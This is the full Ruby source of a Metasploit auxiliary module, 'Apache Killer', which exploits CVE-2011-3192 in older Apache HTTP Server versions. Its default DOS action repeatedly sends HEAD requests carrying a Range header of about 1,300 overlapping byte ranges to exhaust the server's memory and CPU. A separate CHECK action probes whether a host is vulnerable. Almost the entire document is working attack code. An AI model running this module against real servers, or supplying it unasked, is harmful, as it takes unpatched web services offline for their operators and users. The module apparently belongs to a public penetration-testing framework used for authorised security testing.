Apache Range Header Denial of Service (Apache Killer)

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache Range Header DoS (Apache Killer)',  
'Description' => %q{  
The byterange filter in the Apache HTTP Server 2.0.x through 2.0.64, and 2.2.x  
through 2.2.19 allows remote attackers to cause a denial of service (memory and  
CPU consumption) via a Range header that expresses multiple overlapping ranges,  
exploit called "Apache Killer"  
},  
'Author' =>  
[  
'Kingcope', #original discoverer  
'Masashi Fujiwara', #metasploit module  
'Markus Neis <markus.neis[at]gmail.com>' # check for vulnerability  
],  
'License' => MSF_LICENSE,  
'Actions' =>  
[  
['DOS', 'Description' => 'Trigger Denial of Service against target'],  
['CHECK', 'Description' => 'Check if target is vulnerable']  
],  
'DefaultAction' => 'DOS',  
'References' =>  
[  
[ 'BID', '49303'],  
[ 'CVE', '2011-3192'],  
[ 'EDB', '17696'],  
[ 'OSVDB', '74721' ],  
],  
'DisclosureDate' => '2011-08-19'  
))  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('URI', [ true, "The request URI", '/']),  
OptInt.new('RLIMIT', [ true, "Number of requests to send",50])  
])  
end  
  
def run_host(ip)  
  
case action.name  
when 'DOS'  
conduct_dos()  
  
when 'CHECK'  
check_for_dos()  
end  
  
end  
  
def check_for_dos()  
uri = datastore['URI']  
rhost = datastore['RHOST']  
begin  
res = send_request_cgi({  
'uri' => uri,  
'method' => 'HEAD',  
'headers' => {  
"HOST" => rhost,  
"Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10",  
"Request-Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10"  
}  
})  
  
if (res and res.code == 206)  
print_status("Response was #{res.code}")  
print_status("Found Byte-Range Header DOS at #{uri}")  
  
report_note(  
:host => rhost,  
:port => rport,  
:type => 'apache.killer',  
:data => "Apache Byte-Range DOS at #{uri}"  
)  
  
else  
print_status("#{rhost} doesn't seem to be vulnerable at #{uri}")  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
  
  
def conduct_dos()  
uri = datastore['URI']  
rhost = datastore['RHOST']  
ranges = ''  
for i in (0..1299) do  
ranges += ",5-" + i.to_s  
end  
for x in 1..datastore['RLIMIT']  
begin  
print_status("Sending DoS packet #{x} to #{rhost}:#{rport}")  
res = send_request_cgi({  
'uri' => uri,  
'method' => 'HEAD',  
'headers' => {  
"HOST" => rhost,  
"Range" => "bytes=0-#{ranges}",  
"Request-Range" => "bytes=0-#{ranges}"}},1)  
  
rescue ::Rex::ConnectionRefused  
print_error("Unable to connect to #{rhost}:#{rport}")  
rescue ::Errno::ECONNRESET  
print_good("DoS packet successful. #{rhost} not responding.")  
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
print_error("Couldn't connect to #{rhost}:#{rport}")  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
end  
end  
`